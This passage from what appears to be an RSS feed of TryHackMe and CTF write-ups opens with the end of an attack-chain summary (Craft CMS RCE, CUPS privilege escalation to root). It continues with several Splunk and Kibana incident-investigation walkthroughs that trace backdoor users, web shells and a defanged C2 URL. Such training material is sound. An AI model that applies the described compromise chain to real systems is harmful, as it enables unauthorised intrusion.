capture<br>                       │<br>                       ▼<br>             Cleartext credentials<br>                       │<br>                       ▼<br>                Craft CMS 5.9.8<br>                       │<br>                       ▼<br>              CVE-2026-44011<br>              Authenticated RCE<br>                       │<br>                       ▼<br>                    www-data<br>                       │<br>                       ▼<br>          Craft .env / Security Key<br>                       │<br>                       ▼<br>             Database credentials<br>                       │<br>                       ▼<br>            Encrypted mail credential<br>                       │<br>                       ▼<br>               Decryption with key<br>                       │<br>                       ▼<br>                    aporter<br>                       │<br>                       ▼<br>                  USER FLAG<br>                       │<br>                       ▼<br>                 CUPS 2.4.16<br>                       │<br>                       ▼<br>              CVE-2026-34990<br>                       │<br>                       ▼<br>                 CUPS token<br>                       │<br>                       ▼<br>              Root file overwrite<br>                       │<br>                       ▼<br>                     root<br>                       │<br>                       ▼<br>                  ROOT FLAG</pre><h3>Conclusion</h3><p>Layover was a great example of how multiple weaknesses can be chained together to achieve complete system compromise.</p><p>The first major vulnerability was <strong>CVE-2026–44011</strong>, which provided authenticated RCE against Craft CMS and resulted in a shell as www-data.</p><p>From there, application secrets and the Craft security key allowed an encrypted service credential to be recovered. Reusing that credential provided access to the aporter account and the <strong>user flag</strong>.</p><p>The second major vulnerability was <strong>CVE-2026–34990</strong> in CUPS 2.4.16. By adapting the available PoC to the target environment, the local authorization token was captured and the race was won, resulting in root access and the <strong>root flag</strong>.</p><h3>Key Takeaways</h3><ul><li>Internal network access can expose attack surfaces that are completely invisible from external reconnaissance.</li><li>Open Wi-Fi combined with cleartext HTTP can lead directly to credential compromise.</li><li>Accurate application fingerprinting makes vulnerability validation much faster.</li><li>Application encryption provides limited protection when the compromised process can access both the ciphertext and encryption key.</li><li><strong>CVE-2026–44011</strong> provided the initial application-level RCE.</li><li><strong>CVE-2026–34990</strong> provided the final local privilege escalation.</li><li>Public PoCs often require modification before they work against a real target.</li><li>When an exploit’s verification step throws an error, investigate what the verification code is actually checking before assuming the exploit failed.</li></ul><p><strong>Thanks for reading. Happy hacking! 🚩</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a63de9989860" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Conti TryHackMe Writeup]]></title>
            <link>https://medium.com/@kavusan592/conti-tryhackme-writeup-8571ff89cf51?source=rss-d3fca7c76f20------2</link>
            <guid isPermaLink="false">https://medium.com/p/8571ff89cf51</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Kavusan Yesuraja]]></dc:creator>
            <pubDate>Thu, 19 Mar 2026 15:02:35 GMT</pubDate>
            <atom:updated>2026-03-19T15:02:35.315Z</atom:updated>
            <content:encoded><![CDATA[<p>An Exchange server was compromised with ransomware. Use Splunk to investigate how the attackers compromised the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*QlYYUWUx77VYXLrp.png" /></figure><p>Room: <a href="https://tryhackme.com/room/contiransomwarehgh">https://tryhackme.com/room/contiransomwarehgh</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*bxsmH9hMa-S1pMi4.png" /></figure><h3>Scenario :</h3><p>Some employees from your company reported that they can’t log into Outlook. The Exchange system admin also reported that he can’t log in to the Exchange Admin Center. After initial triage, they discovered some weird readme files settled on the Exchange server.</p><p>Below is a copy of the ransomware note.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*tZPxxniZbEF-Y8yT.png" /></figure><p>Below are the error messages that the Exchange admin and employees see when they try to access anything related to Exchange or Outlook.</p><p><strong>Exchange Control Panel</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*wkmvvJ2YYdW3PLrG.png" /></figure><p><strong>Outlook Web Access</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*cs3CfRuA3480doVg.png" /></figure><p><strong>Task</strong>: You are assigned to investigate this situation. Use Splunk to answer the questions below regarding the Conti ransomware.</p><h3>Can you identify the location of the ransomware?</h3><p>First, let’s set the index to look at all the events.</p><pre>index=*</pre><p>Next, let’s look at the sysmon logs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*J7Ci26nulsZR5eX5.png" /></figure><p>And, lets target the .exe files</p><pre>index=* sourcetype=”WinEventLog:Microsoft-Windows-Sysmon/Operational” “*.exe*”</pre><p>We get 2,000+ hits. Let’s look at the CurrentDirectory Filter; there are 5 directories. Our answer is one among them</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*nsxn_g7YlKGTxxJh.png" /></figure><p>Lets create a table for the CurrentDirectory and the images.</p><pre>index=* sourcetype=”WinEventLog:Microsoft-Windows-Sysmon/Operational” “*.exe*”<br>| table CurrentDirectory, Image<br>| dedup CurrentDirectory</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*3XJrWrJGHn6WYZGq.png" /></figure><p>I found the cmd.exe in the Documents folder, which is suspicious. That’s our answer.</p><h3>What is the Sysmon event ID for the related file creation event?</h3><p>This one’s straightforward: The Sysmon event ID for file creation events is 11</p><h3>Can you find the MD5 hash of the ransomware?</h3><p>To find the hash, i addeId the image to the search</p><pre>index=* sourcetype=”WinEventLog:Microsoft-Windows-Sysmon/Operational” Image=”C:\\Users\\Administrator\\Documents\\cmd.exe”</pre><p>Then, I navigated to the first event with cmd.exe. In the details, I found the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Fv0yizOBUn2VW6Y5.png" /></figure><h3>What file was saved to multiple folder locations?</h3><p>In Sysmon, Event ID 11 logs <a href="https://www.google.com/search?client=firefox-b-d&amp;cs=1&amp;sca_esv=9c54605068baa6ec&amp;q=FileCreate+operations&amp;sa=X&amp;ved=2ahUKEwiM_M_8saqOAxUNRWwGHensAPIQxccNegQIAhAC&amp;mstk=AUtExfCQVANA1fSz3pbY3X_ztskZeExmYzRxWijefKsNZ3wT1cL9GMipFL76wrgLecSA-WEGUTfNTd0CbH16NpcgivPdrXLAZQthysH644RNPh5HbWSGqWr744vxaIqaAVCZnU-MRFh5z8k6ccnrnQXOUAwOB3dBmd12RrKKWCi4HBDZxDc&amp;csui=3">FileCreate operations</a>, which are triggered when a file is created or overwritten. So, let’s add it to the search. We get 104 hits. Let’s create a table for image and targetfilename to find the file.</p><pre>index=* sourcetype=”WinEventLog:Microsoft-Windows-Sysmon/Operational” EventCode=11<br>| table Image, TargetFilename</pre><p>After scrolling a bit, I found cmd.exe saving a readme.txt file in multiple locations. This readme is the ransom note we saw earlier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*KTPAr780YBCjoVyb.png" /></figure><h3>What was the command the attacker used to add a new user to the compromised system?</h3><p>event ID 4720 is triggered when a new user account is created. When I searched, I found 2 events</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*5bIc_EXYZOvRPkQp.png" /></figure><p>If we take a look at the latest event, the first event, I found out that the username of the account is <em>securityninja.</em> Then I searched for it, and I got 10 events. I navigated to the first occurrence and found the command used to create the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*gk9j33OeOXSpq6Q2.png" /></figure><h3>The attacker migrated the process for better persistence. What is the migrated process image (executable), and what is the original process image (executable) when the attacker got on the system?</h3><p><em>Event ID 8: </em>The CreateRemoteThread event detects when a process creates a thread in another process. This is generally used for persistence operations — process migration.</p><pre>index=* source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” EventCode=8</pre><p>We get 2 events. Now let’s create a table for SourceImage and TargetImage</p><pre>index=* source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” EventCode=8<br>| table SourceImage TargetImage</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*qUQ_vfOPrhLmOwoT.png" /></figure><p>We can see that the attacker migrated from powershell.exe to unsecapp.exe and later to lsass.exe</p><h3>The attacker also retrieved the system hashes. What is the process image used for getting the system hashes?</h3><p>Attackers commonly use <strong>lsass.exe</strong> to extract credentials, and we have seen earlier that the attacker migrated to lsass.exe</p><h3>What is the web shell the exploit deployed to the system?</h3><p>Attackers use .aspx files to deploy webshells. So, let’s add it to the search. I found 1 event, and the name of the file is in the CommandLine</p><pre>index=* source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” aspx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ax-MUrnsGr2k0Klz.png" /></figure><p>Another way to find this is by using the hint, “Try looking in the IIS logs for POST requests.”</p><pre>index=* sourcetype=iis cs_method=POST</pre><p>then, i looked at the <em>cs_url_stem</em> and found the aspx file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*dkfJBmRupqRHJ7Kx.png" /></figure><h3>What is the command line that executed this web shell?</h3><p>From the previous found event, we can get the full command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*WFC3OQv7UCJWCcjp.png" /></figure><h3>What three CVEs did this exploit leverage? Provide the answer in ascending order.</h3><p>We have to search for this on our own, through external research. I found the answer after looking at:</p><p><a href="https://www.tenable.com/blog/contileaks-chats-reveal-over-30-vulnerabilities-used-by-conti-ransomware-affiliates">https://www.tenable.com/blog/contileaks-chats-reveal-over-30-vulnerabilities-used-by-conti-ransomware-affiliates</a></p><p><a href="https://www.securin.io/articles/is-conti-ransomware-on-a-roll">https://www.securin.io/articles/is-conti-ransomware-on-a-roll</a></p><h3>Thank you for reading my write-up. I hope you found it useful.</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8571ff89cf51" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Benign TryHackMe Writeup]]></title>
            <link>https://medium.com/@kavusan592/benign-tryhackme-writeup-2d2cfee5c9a6?source=rss-d3fca7c76f20------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d2cfee5c9a6</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[splunk]]></category>
            <dc:creator><![CDATA[Kavusan Yesuraja]]></dc:creator>
            <pubDate>Thu, 19 Mar 2026 14:59:43 GMT</pubDate>
            <atom:updated>2026-03-19T14:59:43.515Z</atom:updated>
            <content:encoded><![CDATA[<p>Challenge room to investigate a compromised host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*WxgrrhsaStawscwe.png" /></figure><p>Room: <a href="https://tryhackme.com/room/benign">https://tryhackme.com/room/benign</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*tF1I_PuKPxqOG8xj.png" /></figure><h3>Overview</h3><p>The <strong>Benign</strong> room on TryHackMe challenges you to investigate a potentially compromised host within a segmented enterprise network. You are a security analyst responding to suspicious activity flagged by an IDS. The twist? You can only <strong>access Windows EventID 4688</strong> logs (Process Creation) ingested into <strong>Splunk</strong> under the index win_eventlogs.</p><p>The mission? Identify the attacker, trace their steps, and describe how the compromise unfolded.</p><h3>Network Layout</h3><p>Understanding the segmentation is key to making sense of the logs. Here’s the breakdown:</p><ul><li><strong>HR Department</strong>: Haroon, Chris, Diana</li><li><strong>IT Department</strong>: James, Moin, Katrina</li><li><strong>Marketing Department</strong>: Bell, Amelia, Deepak</li></ul><h3>How many logs are ingested from the month of March, 2022?</h3><p>Set the index to win_eventlogs and the date as — Since March 2022. This gave me the <strong>total log count</strong> for March 2022.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*E7Jjcpx89-5NzbsW.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*U17d34GwcvWHHwcq.png" /></figure><h3>Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?</h3><p>We need unique usernames from the events, so I searched:</p><pre>index=”win_eventlogs” <br>| table UserName <br>| dedup UserName</pre><p>Make a table with UserName and delete the duplicates. Here are the results. Among legit users, one stood out: Amel1a — a clear impersonation attempt of the real user <strong>Amelia</strong> — subtle, but deadly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*kawxwCLi-R2tamon.png" /></figure><h3>Which user from the HR department was observed to be running scheduled tasks?</h3><p>Scheduled tasks often involve schtasks.exe. To filter logs involving this:</p><pre>index=”win_eventlogs” schtasks</pre><p>I got 87 hits. If we look at the command line filter, we see that the user <em>Chris.fort</em> executes some suspicious commands with onstart triggers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*1wRU_9STk5HARVSm.png" /></figure><h3>Which user from the HR department executed a system process (LOLBIN) to download a payload from a file-sharing host.</h3><p>Since the user is from the HR department, let’s pick out the users from that department and add them to our search filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*sAbZQEvepbaK-Wsv.png" /></figure><p>Search query:</p><pre>index=”win_eventlogs” UserName=Daina OR UserName=haroon OR UserName=Chris.fort</pre><p>We need to find the system process (LOLBIN) that downloaded a payload. Let’s make a table of the processes.</p><pre>index=”win_eventlogs” UserName=Daina OR UserName=haroon OR UserName=Chris.fort<br>| table UserName, ProcessName</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*kph6O8_Y2Porex87.png" /></figure><p>A simple Google search about LOLBIN or the hint leads to:</p><p><a href="https://lolbas-project.github.io/">https://lolbas-project.github.io/</a></p><p>Here we find many binaries that can be used to download a payload. There is no other way that I know but to search for it manually. I searched and found the binary used soon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*EDfo3DBNEicQU-Vo.png" /></figure><h3>To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?</h3><p>We already know this from the previous investigation</p><h3>What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)</h3><p>We can find it by looking at the event</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*XEZtkUEi9-kpkvU9.png" /></figure><h3>Which third-party site was accessed to download the malicious payload?</h3><p>We can find it in the executed CommandLine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*A9gaNFb5A_GNVPis.png" /></figure><h3>What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?</h3><p>We can find it in the executed CommandLine — same as above</p><h3>The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{……….}; what is that pattern?</h3><p>We can find it by visiting the site</p><h3>What is the URL that the infected host connected to?</h3><p>It’s the full URL in the CommandLine</p><h3>Thank you for reading my write-up. I hope you found it useful.</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d2cfee5c9a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating with Splunk TryHackMe Writeup]]></title>
            <link>https://medium.com/@kavusan592/investigating-with-splunk-tryhackme-writeup-5b9e45042975?source=rss-d3fca7c76f20------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b9e45042975</guid>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Kavusan Yesuraja]]></dc:creator>
            <pubDate>Sat, 07 Mar 2026 15:24:32 GMT</pubDate>
            <atom:updated>2026-03-07T15:24:32.017Z</atom:updated>
            <content:encoded><![CDATA[<p>Investigate anomalies using Splunk.</p><p>Room: <a href="https://tryhackme.com/room/investigatingwithsplunk">https://tryhackme.com/room/investigatingwithsplunk</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/0*2a2qaL-9T7Sanz8n.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*V4vPJrdf7goXDtfU.png" /></figure><h3>Scenario</h3><p>SOC Analyst <strong>Johny </strong>has observed some anomalous behaviours in the logs of a few windows machines. It looks like the adversary has access to some of these machines and successfully created some backdoor. His manager has asked him to pull those logs from suspected hosts and ingest them into Splunk for quick investigation. Our task as SOC Analyst is to examine the logs and identify the anomalies.</p><h3>How many events were collected and Ingested in the index main?</h3><ul><li>Set the <strong>index to </strong><strong>main</strong> and the <strong>time range to &quot;All time&quot;</strong>.</li><li>Splunk will show the total number of events.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/0*RrCb1ECAOBJvzmdO" /></figure><h3>On one of the infected hosts, the adversary was successful in creating a backdoor user. What is the new username?</h3><p>Search for <strong>Event ID 4720,</strong> which logs user account creation:</p><pre>index=”main” EventCode=4720</pre><p>One event will show the newly created user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*jBZae2WXiAiNPgri.png" /></figure><h3>On the same host, a registry key was also updated regarding the new backdoor user. What is the full path of that registry key?</h3><p>If we look at the categories, we will see a “Registry object added or deleted”; we can add that as a filter by clicking on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*sMrre9ljWNVl_ukh.png" /></figure><p>Filter logs for registry changes using:</p><pre>index=”main” Category=”Registry object added or deleted (rule: RegistryEvent)”</pre><p>We get 1496 hits, we need to narrow down further. Since the registry key is added to the user A1berto, I added the username in the search. Now our new search is:</p><pre>index=”main” Category=”Registry object added or deleted (rule: RegistryEvent)” A1berto</pre><p>Now, we have 2 events. One event added the registry key and the other to delete a registry key. Both of them has the same path. If we look at the message part of the event, we can get the full path of that registry key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/0*XJp2ZaW_mi8x5HiP.png" /></figure><h3>Examine the logs and identify the user that the adversary was trying to impersonate.</h3><p>Now that we’ve seen the account, the next logical question is: who was the attacker trying to imitate? With a name like A1berto, it’s no stretch to imagine the real user is <strong>Alberto</strong>. Scanning the User field confirms it. The attacker swapped the &#39;l&#39; for a &#39;1&#39;—a common trick to camouflage their presence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*6CaD_SEZLimzdbxP.png" /></figure><h3>What is the command used to add a backdoor user from a remote computer?</h3><p>We know from earlier evidence that the user <em>James</em> was involved. Searching the logs with James’s username, we uncover five events.</p><pre>index=”main” User=”Cybertees\\James”</pre><p>Now we have 5 events. In the filter tab, we see a “commandline” filter showing the 4 commands executed by James.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*zzoPpWbCzC6KYroP.png" /></figure><p>The first command creates a user A1berto with the password paw0rd1. This is our required command.</p><h3>How many times was the login attempt from the backdoor user observed during the investigation?</h3><p>Our next question is whether this user actually logged in. Running a search for “A1berto” brings up 347 events.</p><pre>index=&quot;main&quot; Alberto</pre><p>In category filter, there are no login events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*J9cpL0VYH87_0mi2.png" /></figure><p>That seems significant, until we check the Event IDs. None of them match those used for login attempts (like 4624 for successful or 4625 for failed logins).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*h6oo9r_VJqdsJ5wf.png" /></figure><p>Surprisingly, it seems the backdoor user never attempted to log in.</p><h3>What is the name of the infected host on which suspicious Powershell commands were executed?</h3><p>Running a search for “powershell” gives us 198 events — all traced back to one system. Looking at the Host field, we find the machine responsible for every suspicious script. That’s our infected host.</p><pre>index=”main” powershell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*KSXt9Vypi3sap_Wi.png" /></figure><h3>PowerShell logging is enabled on this device. How many events were logged for the malicious PowerShell execution?</h3><p>Because PowerShell logging is enabled on the system, we can dig even deeper. Focusing on Event IDs 4103 and 4104 (used for module and script block logging), we find 79 logged events.</p><pre>index=”main” EventID=4103 or EventID=4104</pre><h3>An encoded Powershell script from the infected host initiated a web request. What is the full URL?</h3><p>Inside the Context Info of one log (from the previous search), we spot a long, encoded Base64 string. This is our chance to uncover what the attacker was trying to hide.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*TlOFXhP3fZu0Eg93.png" /></figure><p>So, we head over to CyberChef, paste in the string, and decode it using “From Base64” followed by “Remove null bytes.” What unfolds is the smoking gun: a call to a malicious URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*JNU24kf_z6kT0abu.png" /></figure><p>We can see that the URL is some base64 string/news.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*quYlooRjhjyOYJA4.png" /></figure><p>Copy the string and paste it in the input and add defang url to tghe recipie</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*AF8uA7Xswz-_w5_P.png" /></figure><p>Now, we have the full URL</p><pre>hxxp[://]10[.]10[.]10[.]5/news[.]php</pre><p>The attacker was likely trying to either download a payload or exfiltrate data. Either way, the intent is clear, and the behavior is malicious.</p><h3>Thank you for reading my write-up. I hope you found it useful</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b9e45042975" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ItsyBitsy TryHackMe Writeup]]></title>
            <link>https://medium.com/@kavusan592/itsybitsy-tryhackme-writeup-be566da5b695?source=rss-d3fca7c76f20------2</link>
            <guid isPermaLink="false">https://medium.com/p/be566da5b695</guid>
            <category><![CDATA[kibana]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Kavusan Yesuraja]]></dc:creator>
            <pubDate>Sat, 07 Mar 2026 15:22:24 GMT</pubDate>
            <atom:updated>2026-03-07T15:22:24.840Z</atom:updated>
            <content:encoded><![CDATA[<p>Put your ELK knowledge together and investigate an incident.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*NMtxmPBhmsN3zvav.png" /></figure><p>Room: <a href="https://tryhackme.com/room/itsybitsy">https://tryhackme.com/room/itsybitsy</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*uu3gdwerKl_gNzuz.png" /></figure><h3>Scenario</h3><p>During routine SOC monitoring, an IDS alert flagged potential C2 activity involving a user named <strong>Browne</strong> from the HR department. The alert indicated that a file with a malicious pattern (THM:{________}) may have been accessed. Our task is to investigate one week’s worth of HTTP connection logs—available via the connection_logs index in Kibana—to uncover what happened.</p><h3>1. How many events were returned for the month of March 2022?</h3><ul><li>Head over to the <strong>Discover</strong> tab in Kibana.</li><li>Set the time range: <strong>From</strong>: March 1, 2022, <strong>To</strong>: March 31, 2022</li><li>The total number of events is displayed at the top.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*mpDCTukf4Hf2XxCs" /></figure><h3>2. What is the IP associated with the suspected user in the logs?</h3><ul><li>Searching for “<strong>Browne</strong>” yielded no direct hits.</li><li>However, only <strong>two source IPs</strong> are active in the logs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/0*YEXuPXd3QRx83tM9" /></figure><ul><li>Upon investigating:</li><li>The <strong>first IP</strong> showed normal behavior.</li><li>The <strong>second IP</strong> was accessing <strong>pastebin.com</strong> over <strong>port 80 — </strong>highly suspicious.</li><li>Click the <strong>“+” icon</strong> beside the suspicious IP to filter the logs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*TPnNqoA7v9pfPbZD" /></figure><h3>3. The user’s machine used a legit windows binary to download a file from the C2 server. What is the name of the binary?</h3><ul><li>With the suspicious IP filtered, look into the <strong>user_agent</strong> field.</li><li>This reveals the <strong>Windows binary</strong> used to make the HTTP request.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*0BvTMHUe03P_V4Jr" /></figure><h3>4. The infected machine connected with a famous filesharing site in this period, which also acts as a C2 server used by the malware authors to communicate. What is the name of the filesharing site?</h3><ul><li>From the logs, check the <strong>host</strong> field.</li><li>The infected machine accessed <strong>pastebin.com</strong>, a known file-sharing and code-pasting service often abused by attackers.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*2rlBvUCwfGaU0rV4" /></figure><h3>What is the full URL of the C2 to which the infected host is connected?</h3><p>With the <strong>host</strong> and <strong>uri</strong> fields in hand:</p><ul><li>Host: pastebin.com</li><li>URI: /yTg0Ah6a</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*I9YlMr-5xHrHJkrC" /></figure><p>So, our URL will be pastebin.com/yTg0Ah6a</p><h3>A file was accessed on the filesharing site. What is the name of the file accessed?</h3><ul><li>Visit the full URL in your browser.</li><li>The page displays the file name and its contents.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*J8K6B5EVEe91H6S8" /></figure><h3>The file contains a secret code with the format THM{_____}.</h3><p>From the content of the file, extract the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*C3InGABCYTio13ym" /></figure><h3>Conclusion</h3><p>This was a fantastic mini-challenge that put ELK stack skills to the test. It simulated a real-world SOC investigation and highlighted the importance of correlation between logs and known threat behaviors.</p><h3>Thank you for reading my write-up. I hope you found it useful</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be566da5b695" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Retracted TryHackMe Writeup]]></title>
            <link>https://medium.com/@kavusan592/retracted-931d2dc86b66?source=rss-d3fca7c76f20------2</link>
            <guid isPermaLink="false">https://medium.com/p/931d2dc86b66</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ransomware]]></category>
            <dc:creator><![CDATA[Kavusan Yesuraja]]></dc:creator>
            <pubDate>Mon, 02 Mar 2026 14:45:29 GMT</pubDate>
            <atom:updated>2026-03-02T14:46:44.485Z</atom:updated>
            <content:encoded><![CDATA[<p>Investigate the case of the missing ransomware.</p><p>Room: <a href="https://tryhackme.com/room/retracted">https://tryhackme.com/room/retracted</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/0*sC8PTGk2i6pouPyb.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*Li5ImJ1GSyEsZPRm.png" /></figure><h3>Scenario</h3><blockquote><em>“Thanks for coming. I know you’re busy with your new job, but I didn’t know who else to call…”</em></blockquote><p>Sophie’s system was hit by what appeared to be ransomware: files were locked, the wallpaper changed, and a ransom note was left behind. But by the time she returned, everything was back to normal, except for a strange message and an alert about a Bitcoin transaction.</p><p>As analysts, our job is to dive into the endpoint, examine the digital trail, and make sense of this bizarre turn of events.</p><p>The machine looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*fmhK-mKs3zPOzSIJ" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*QMShqlYzZ8bJBZq7" /></figure><h3>What is the full path of the text file containing the “message”?</h3><p>Check the <strong>Desktop</strong> for any unusual files. You’ll find a file named SOPHIE.txt. Right-click → <strong>Properties</strong> → Note the full path:</p><pre>C:\Users\Sophie\Desktop\SOPHIE.txt</pre><h3>What program was used to create the text file?</h3><p>We can find this using <strong>Sysmon logs</strong>.</p><ol><li>Open <strong>Event Viewer</strong>.</li><li>Navigate to: Applications and Services Logs → Microsoft → Windows → Sysmon → Operational</li><li>Use <strong>Find</strong> → Search for SOPHIE.txt.</li><li>The corresponding event shows the parent process as notepad.exe</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*PUl5WyVVMInBV71P" /></figure><h3>What is the time of execution of the process that created the text file? Timezone UTC (Format YYYY-MM-DD hh:mm:ss)</h3><p>From the same event where we found notepad.exe, note the exact UTC timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*Q508cMrFlxANpgbP" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*H64LtG1E5wI5inmO" /></figure><h3>What is the filename of this “installer”? (Including the file extension)</h3><p>Since, it is downloaded form the google, Open the browser, go to <strong>Downloads</strong>. You’ll find the suspicious file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*9FvXmnIn13LIS0Bz" /></figure><h3>What is the download location of this installer?</h3><p>Click the folder icon next to the download in the browser. It leads to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*dqO-A6D04oNQ9ptL" /></figure><h3>The installer encrypts files and then adds a file extension to the end of the file name. What is this file extension?</h3><p>Inspect the Sysmon logs for file modification events related to antivirus.exe. You’ll notice several files ending with .dmp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*r2yDLZ-C7xkC1RY5" /></figure><h3>The installer reached out to an IP. What is this IP?</h3><p>To investigate network connections:</p><ol><li>In Event Viewer, filter Sysmon logs to <strong>Event ID 3</strong> (network connections).</li><li>Use <strong>Find</strong> → Search for antivirus.exe.</li></ol><p>You’ll find it connected to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/0*DyMEp6EaBgdhIfFZ" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*7lh66XjTtDtmgC-j" /></figure><h3>The threat actor logged in via RDP right after the “installer” was downloaded. What is the source IP?</h3><p>Filter Event ID 3 for RDP activity. Look for the RDP session <strong>after the installer runs</strong>.</p><p>You’ll find a connection from:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/0*tE171gicH0W7oiJd" /></figure><h3>This other person 